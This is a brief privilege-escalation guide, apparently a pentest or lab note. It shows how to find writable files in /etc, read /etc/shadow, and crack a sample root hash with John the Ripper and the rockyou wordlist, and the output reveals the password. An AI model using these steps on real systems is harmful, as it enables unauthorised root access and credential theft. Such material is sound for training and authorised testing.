# Weak File Permissions
#### Investigate if you have any writable files that can be abused
```bash
find /etc -maxdepth 1 -writable -type f
```
#### Check if you can read it.
```bash
cat /etc/shadow
```
Copy and paste the line of the root, and save it as hash.txt.
```
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0
```
Crack the hash.
{% code overflow="wrap" %}
```bash
john --format=sha512crypt --wordlist=/root/wd/rockyou.txt hash.txt
#Using default input encoding: UTF-8
#Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
#Press 'q' or Ctrl-C to abort, almost any other key for status
password123 (?)
#1g 0:00:00:03 DONE (2020-05-25 21:42) 0.3215g/s 452.7p/s 452.7c/s 452.7C/s teacher..tagged
#Use the "--show" option to display all of the cracked passwords reliably
#Session completed
```
{% endcode %}
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